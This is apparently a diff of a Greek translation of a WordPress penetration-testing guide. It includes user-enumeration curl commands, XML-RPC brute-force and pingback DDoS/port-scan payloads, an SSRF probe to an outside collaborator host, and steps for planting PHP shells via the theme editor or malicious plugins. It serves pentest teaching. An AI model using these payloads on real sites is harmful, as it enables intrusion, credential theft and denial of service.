||||
### **Κύρια αρχεία του WordPress**
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` περιέχει χρήσιμες πληροφορίες όπως η έκδοση του WordPress που είναι εγκατεστημένη.
|
||||
- `license.txt` περιέχει χρήσιμες πληροφορίες όπως την έκδοση του WordPress που είναι εγκατεστημένη.
|
||||
- `wp-activate.php` χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη δημιουργία ενός νέου WordPress site.
|
||||
- Φάκελοι login (μπορεί να μετονομαστούν για να κρυφτούν):
|
||||
- Φάκελοι login (μπορεί να έχουν μετονομαστεί για να κρυφτούν):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μηχανισμό μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μέσο μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Ο φάκελος `wp-content` είναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes.
|
||||
- `wp-content/uploads/` είναι ο κατάλογος όπου αποθηκεύονται τυχόν αρχεία που ανεβάζονται στην πλατφόρμα.
|
||||
- `wp-includes/` είναι ο κατάλογος όπου αποθηκεύονται αρχεία core, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
|
||||
- `wp-sitemap.xml` Στις εκδόσεις WordPress 5.5 και άνω, το WordPress παράγει ένα sitemap XML αρχείο με όλα τα δημόσια posts και τους τύπους περιεχομένου και ταξινομήσεις που είναι δημόσια ερωτήσιμες.
|
||||
- `wp-content/uploads/` Είναι ο κατάλογος όπου αποθηκεύονται όλα τα αρχεία που ανεβαίνουν στην πλατφόρμα.
|
||||
- `wp-includes/` Αυτός είναι ο κατάλογος όπου αποθηκεύονται τα core αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
|
||||
- `wp-sitemap.xml` Σε εκδόσεις Wordpress 5.5 και μεγαλύτερες, το Worpress δημιουργεί ένα sitemap XML αρχείο με όλες τις δημόσιες δημοσιεύσεις και τα publicly queryable post types και taxonomies.
|
||||
|
||||
**Μετά την εκμετάλλευση**
|
||||
**Post exploitation**
|
||||
|
||||
- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για τη σύνδεση με τη βάση δεδομένων, όπως το όνομα βάσης, το database host, username και password, authentication keys και salts, και το database table prefix. Αυτό το αρχείο ρυθμίσεων μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει το DEBUG mode, που μπορεί να είναι χρήσιμο στην επίλυση προβλημάτων.
|
||||
- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων, όπως το database name, database host, username και password, authentication keys and salts, και το database table prefix. Αυτό το αρχείο ρυθμίσεων μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει το DEBUG mode, που μπορεί να είναι χρήσιμο για troubleshooting.
|
||||
|
||||
### Δικαιώματα Χρηστών
|
||||
### Users Permissions
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Δημοσιεύει και διαχειρίζεται τις αναρτήσεις του και άλλων.
|
||||
- **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις.
|
||||
- **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει.
|
||||
- **Subscriber**: Περιηγείται τις αναρτήσεις και επεξεργάζεται το προφίλ του.
|
||||
- **Editor**: Publish και διαχειρίζεται τις δικές του και άλλων δημοσιεύσεις
|
||||
- **Author**: Publish και διαχειρίζεται τις δικές του δημοσιεύσεις
|
||||
- **Contributor**: Γράφει και διαχειρίζεται τις δημοσιεύσεις του αλλά δεν μπορεί να τις δημοσιεύσει
|
||||
- **Subscriber**: Περιηγείται τις δημοσιεύσεις και επεξεργάζεται το προφίλ του
|
||||
|
||||
## **Παθητική Αναγνώριση**
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Βρείτε την έκδοση του WordPress**
|
||||
### **Get WordPress version**
|
||||
|
||||
Ελέγξτε αν μπορείτε να βρείτε τα αρχεία `/license.txt` ή `/readme.html`
|
||||
|
||||
@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- Αρχεία συνδέσεων CSS
|
||||
- Αρχεία σύνδεσης CSS
|
||||
|
||||
.png>)
|
||||
|
||||
@ -64,11 +64,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
### Λήψη πρόσθετων
|
||||
### Λήψη προσθέτων
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Λήψη θεμάτων
|
||||
### Λήψη Θεμάτων
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -77,39 +77,39 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Ενεργή αναγνώριση
|
||||
## Ενεργή ανίχνευση
|
||||
|
||||
### Plugins and Themes
|
||||
|
||||
Πιθανότατα δεν θα καταφέρετε να βρείτε όλα τα Plugins and Themes. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **κάνετε ενεργά Brute Force σε μια λίστα με Plugins and Themes** (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
|
||||
Πιθανότατα δεν θα μπορέσετε να βρείτε όλα τα Plugins και Themes που είναι διαθέσιμα. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **ενεργά κάνετε Brute Force σε μια λίστα με Plugins και Themes** (ελπίζοντας ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
|
||||
|
||||
### Χρήστες
|
||||
|
||||
- **ID Brute:** Αποκτάτε έγκυρους χρήστες από ένα WordPress site κάνοντας Brute Forcing των users IDs:
|
||||
- **ID Brute:** Παίρνετε έγκυρους χρήστες από ένα WordPress site κάνοντας Brute Forcing στα user IDs:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Εάν οι αποκρίσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Εάν η απόκριση είναι **400**, τότε το id είναι **άκυρο**.
|
||||
Αν οι απαντήσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απάντηση είναι **400**, τότε το id είναι **άκυρο**.
|
||||
|
||||
- **wp-json:** Μπορείτε επίσης να προσπαθήσετε να λάβετε πληροφορίες για τους χρήστες υποβάλλοντας ερώτημα:
|
||||
- **wp-json:** Μπορείτε επίσης να δοκιμάσετε να λάβετε πληροφορίες για τους χρήστες στέλνοντας αιτήματα:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Άλλο endpoint `/wp-json/` που μπορεί να αποκαλύψει μερικές πληροφορίες για χρήστες είναι:
|
||||
Ένα άλλο `/wp-json/` endpoint που μπορεί να αποκαλύψει μερικές πληροφορίες για χρήστες είναι:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μία δημοσίευση. **Μόνο πληροφορίες για τους χρήστες που έχουν ενεργοποιημένη αυτή τη λειτουργία θα παρέχονται**.
|
||||
Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει post. **Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν ενεργοποιημένη αυτή τη λειτουργία**.
|
||||
|
||||
Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** θα μπορούσε να leak διευθύνσεις IP.
|
||||
Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** μπορεί να leak διευθύνσεις IP.
|
||||
|
||||
- **Login username enumeration**: Κατά το login στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** και δείχνει εάν το **username** υπάρχει ή όχι.
|
||||
- **Login username enumeration**: Όταν πραγματοποιείται είσοδος στο **`/wp-login.php`**, το **μήνυμα** είναι **διαφορετικό** ανάλογα με το αν το δηλωμένο **όνομα χρήστη** υπάρχει ή όχι.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
Αν το `xml-rpc.php` είναι ενεργό, μπορείτε να πραγματοποιήσετε credentials brute-force ή να το χρησιμοποιήσετε για να εκτελέσετε DoS επιθέσεις σε άλλους πόρους. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
Για να δείτε αν είναι ενεργό, προσπαθήστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και στείλτε αυτό το αίτημα:
|
||||
|
||||
**Έλεγχος**
|
||||
```html
|
||||
@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force credentials. Αν μπορείτε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν:
|
||||
`wp.getUserBlogs`, `wp.getCategories` ή `metaWeblog.getUsersBlogs` είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force credentials. Αν βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι όπως:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Το μήνυμα _"Incorrect username or password"_ μέσα σε απάντηση με κωδικό 200 πρέπει να εμφανίζεται αν τα credentials δεν είναι έγκυρα.
|
||||
Το μήνυμα _"Incorrect username or password"_ μέσα σε απάντηση με κωδικό 200 πρέπει να εμφανίζεται αν τα διαπιστευτήρια δεν είναι έγκυρα.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Χρησιμοποιώντας τα σωστά credentials μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση θα εμφανιστεί η διαδρομή ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Χρησιμοποιώντας τα σωστά διαπιστευτήρια μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση θα εμφανίζεται η διαδρομή ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Επιπλέον υπάρχει ένας **πιο γρήγορος τρόπος** για να brute-force credentials χρησιμοποιώντας **`system.multicall`**, αφού μπορείτε να δοκιμάσετε πολλαπλά creds στο ίδιο request:
|
||||
Επίσης υπάρχει ένας **γρηγορότερος τρόπος** για brute-force credentials χρησιμοποιώντας **`system.multicall`** καθώς μπορείς να δοκιμάσεις αρκετά credentials στο ίδιο request:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Παράκαμψη 2FA**
|
||||
|
||||
Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, γι' αυτό δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα creds αλλά η κύρια είσοδος προστατεύεται με 2FA, **μπορεί να καταφέρετε να καταχραστείτε το xmlrpc.php για να κάνετε login με αυτά τα creds παρακάμπτοντας 2FA**. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά μπορεί παρ' όλα αυτά να καταφέρετε να φτάσετε σε RCE όπως εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, επομένως δεν υποστηρίζει 2FA. Έτσι, αν έχεις valid creds αλλά η κύρια είσοδος προστατεύεται με 2FA, **μπορεί να καταφέρεις να εκμεταλλευτείς xmlrpc.php για να συνδεθείς με αυτά τα creds παρακάμπτοντας την 2FA**. Σημείωσε ότι δεν θα μπορείς να εκτελέσεις όλες τις ενέργειες που μπορείς μέσω του console, αλλά μπορείς ακόμα να φτάσεις σε RCE όπως εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS ή port scanning**
|
||||
|
||||
Αν μπορείτε να βρείτε τη μέθοδο _**pingback.ping**_ μέσα στη λίστα μπορείτε να κάνετε το Wordpress να στείλει ένα αυθαίρετο request σε οποιονδήποτε host/port.\
|
||||
Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε από **χιλιάδες** Wordpress **sites** να **access** μία **τοποθεσία** (οπότε προκαλείται **DDoS** σε εκείνη την τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **scan** κάποιο εσωτερικό **network** (μπορείτε να υποδείξετε οποιαδήποτε port).
|
||||
Αν βρεις τη μέθοδο _**pingback.ping**_ μέσα στη λίστα μπορείς να κάνεις το Wordpress να στείλει ένα αυθαίρετο request σε οποιοδήποτε host/port.\
|
||||
Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσεις από **χιλιάδες** Wordpress **sites** να **access** μία **location** (οπότε προκαλείται **DDoS** σε αυτή την τοποθεσία) ή μπορείς να το χρησιμοποιήσεις για να κάνεις το **Wordpress** να **scan** κάποιο εσωτερικό **network** (μπορείς να δηλώσεις όποιο port θέλεις).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
```
|
||||

|
||||
|
||||
Αν λάβεις το **faultCode** με τιμή **μεγαλύτερη** από **0** (17), αυτό σημαίνει ότι η θύρα είναι ανοιχτή.
|
||||
Αν λάβετε **faultCode** με τιμή **μεγαλύτερη** από **0** (17), σημαίνει ότι η θύρα είναι ανοιχτή.
|
||||
|
||||
Ρίξε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθεις πώς να καταχραστείς αυτή τη μέθοδο ώστε να προκαλέσεις DDoS.
|
||||
Ρίξτε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη μέθοδο για να προκαλέσετε DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Αυτό το αρχείο συνήθως υπάρχει στη ρίζα του Wordpress site: **`/wp-cron.php`**\
|
||||
Όταν αυτό το αρχείο προσπελαύνεται εκτελείται ένα "**βαρύ**" MySQL **query**, οπότε μπορεί να χρησιμοποιηθεί από attackers για να προκαλέσει **DoS**.\
|
||||
Επίσης, εξ ορισμού, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας client ζητά οποιαδήποτε Wordpress σελίδα), κάτι που σε sites υψηλής επισκεψιμότητας μπορεί να προκαλέσει προβλήματα (DoS).
|
||||
Αυτό το αρχείο συνήθως υπάρχει στη ρίζα του ιστότοπου Wordpress: **`/wp-cron.php`**\
|
||||
Όταν αυτό το αρχείο **προσπελαύνεται** εκτελείται ένα "**βαρύ**" MySQL **query**, οπότε μπορεί να χρησιμοποιηθεί από **attackers** για να **προκαλέσει** ένα **DoS**.\
|
||||
Επιπλέον, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (οποτεδήποτε ένας client ζητά οποιαδήποτε σελίδα Wordpress), κάτι που σε ιστότοπους με υψηλή κίνηση μπορεί να προκαλέσει προβλήματα (DoS).
|
||||
|
||||
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που θα εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Δοκιμάστε να προσπελάσετε _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ και το Worpress site ενδέχεται να κάνει ένα αίτημα προς εσάς.
|
||||
Δοκιμάστε να προσπελάσετε _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ και ο Worpress site μπορεί να κάνει ένα αίτημα προς εσάς.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Αυτό το εργαλείο ελέγχει αν υπάρχει το **methodName: pingback.ping** και η διαδρομή **/wp-json/oembed/1.0/proxy** και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.
|
||||
Αυτό το εργαλείο ελέγχει αν υπάρχει το **methodName: pingback.ping** και το path **/wp-json/oembed/1.0/proxy** και, αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.
|
||||
|
||||
## Αυτόματα εργαλεία
|
||||
```bash
|
||||
@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Απόκτηση πρόσβασης επανεγγράφοντας ένα bit
|
||||
## Απόκτηση πρόσβασης με την υπεργραφή ενός bit
|
||||
|
||||
Περισσότερο παρά μια πραγματική επίθεση, πρόκειται για μια περιέργεια. Στο CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορούσες να flip 1 bit σε οποιοδήποτε wordpress αρχείο. Έτσι μπορούσες να flip τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` ώστε να NOP το NOT (`!`) operation.
|
||||
Αυτό είναι περισσότερο περιέργεια παρά πραγματική επίθεση. Στο CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορούσες να αναστρέψεις 1 bit σε οποιοδήποτε αρχείο wordpress. Έτσι μπορούσες να αναστρέψεις τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` ώστε να κάνεις NOP την NOT (`!`) λειτουργία.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
## **Πίνακας RCE**
|
||||
|
||||
**Τροποποίηση ενός php από το θέμα που χρησιμοποιείται (απαιτούνται διαπιστευτήρια admin)**
|
||||
**Τροποποίηση ενός php από το θέμα που χρησιμοποιείται (admin credentials needed)**
|
||||
|
||||
Εμφάνιση → Επεξεργαστής Θέματος → 404 Template (στα δεξιά)
|
||||
Εμφάνιση → Theme Editor → 404 Template (στη δεξιά πλευρά)
|
||||
|
||||
Αλλάξτε το περιεχόμενο σε ένα php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Αναζητήστε στο διαδίκτυο πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή την ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Αναζητήστε στο διαδίκτυο πώς να αποκτήσετε πρόσβαση στην ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -263,14 +263,14 @@ return new WP_Error(
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
να αποκτήσετε session.
|
||||
για να αποκτήσετε session.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
|
||||
Ενδέχεται να είναι δυνατό να ανεβάσετε αρχεία .php ως plugin.\
|
||||
Δημιουργήστε το php backdoor σας χρησιμοποιώντας, για παράδειγμα:
|
||||
Ενδέχεται να είναι δυνατή η μεταφόρτωση αρχείων .php ως plugin.\
|
||||
Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -278,52 +278,52 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
|
||||
.png>)
|
||||
|
||||
Ανεβάστε το plugin και πατήστε Install Now:
|
||||
Upload plugin and press Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Κάντε κλικ στο Procced:
|
||||
Click on Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Πιθανότατα αυτό δεν θα κάνει τίποτα εμφανώς, αλλά αν μεταβείτε στο Media, θα δείτε το shell σας ανεβασμένο:
|
||||
Πιθανώς αυτό δεν θα κάνει τίποτα εμφανώς, αλλά αν μεταβείτε στο Media, θα δείτε το shell σας ανεβασμένο:
|
||||
|
||||
.png>)
|
||||
|
||||
Ανοίγοντάς το θα δείτε το URL για να εκτελέσετε το reverse shell:
|
||||
Πρόσβαση σε αυτό και θα δείτε το URL για να εκτελέσετε το reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός κακόβουλου plugin γνωστού ότι είναι ευάλωτο και μπορεί να εκμεταλλευτεί για να αποκτήσει web shell. Αυτή η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής:
|
||||
Αυτή η μέθοδος αφορά την εγκατάσταση ενός κακόβουλου plugin που είναι γνωστό ότι είναι ευάλωτο και μπορεί να εκμεταλλευτεί για να αποκτηθεί ένα web shell. Αυτή η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής:
|
||||
|
||||
1. **Plugin Acquisition**: Το plugin αποκτάται από μια πηγή όπως το Exploit DB όπως [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: Το plugin αποκτάται από μια πηγή όπως Exploit DB όπως [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
|
||||
- Πλοηγηθείτε στο WordPress dashboard, στη συνέχεια πηγαίνετε στο `Dashboard > Plugins > Upload Plugin`.
|
||||
- Ανεβάστε το zip αρχείο του κατεβασμένου plugin.
|
||||
3. **Plugin Activation**: Αφού το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard.
|
||||
3. **Plugin Activation**: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard.
|
||||
4. **Exploitation**:
|
||||
- Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι είναι ευάλωτο.
|
||||
- Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο.
|
||||
- Σημειώνεται ότι αυτός είναι μόνο ένας από τους πολλούς τρόπους για να εκμεταλλευτείτε έναν WordPress ιστότοπο.
|
||||
- Σημειώνεται ότι αυτός είναι μόνο ένας από τους πολλούς τρόπους εκμετάλλευσης ενός WordPress site.
|
||||
|
||||
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως penetration testing με ρητή άδεια.
|
||||
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως σε penetration testing με ρητή άδεια.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
## Από XSS σε RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες σε WordPress. Για περισσότερες πληροφορίες δείτε [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για Wordpress Versions 6.X.X, 5.X.X and 4.X.X. και επιτρέπει:**
|
||||
- _**Privilege Escalation:**_ Creates an user in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Δημιουργεί έναν χρήστη στο WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Ανεβάστε το custom plugin (backdoor) σας στο WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Επεξεργασία ενσωματωμένων plugins στο WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Επεξεργασία ενσωματωμένων themes στο WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Προσαρμοσμένα exploits για third-party WordPress plugins/themes.
|
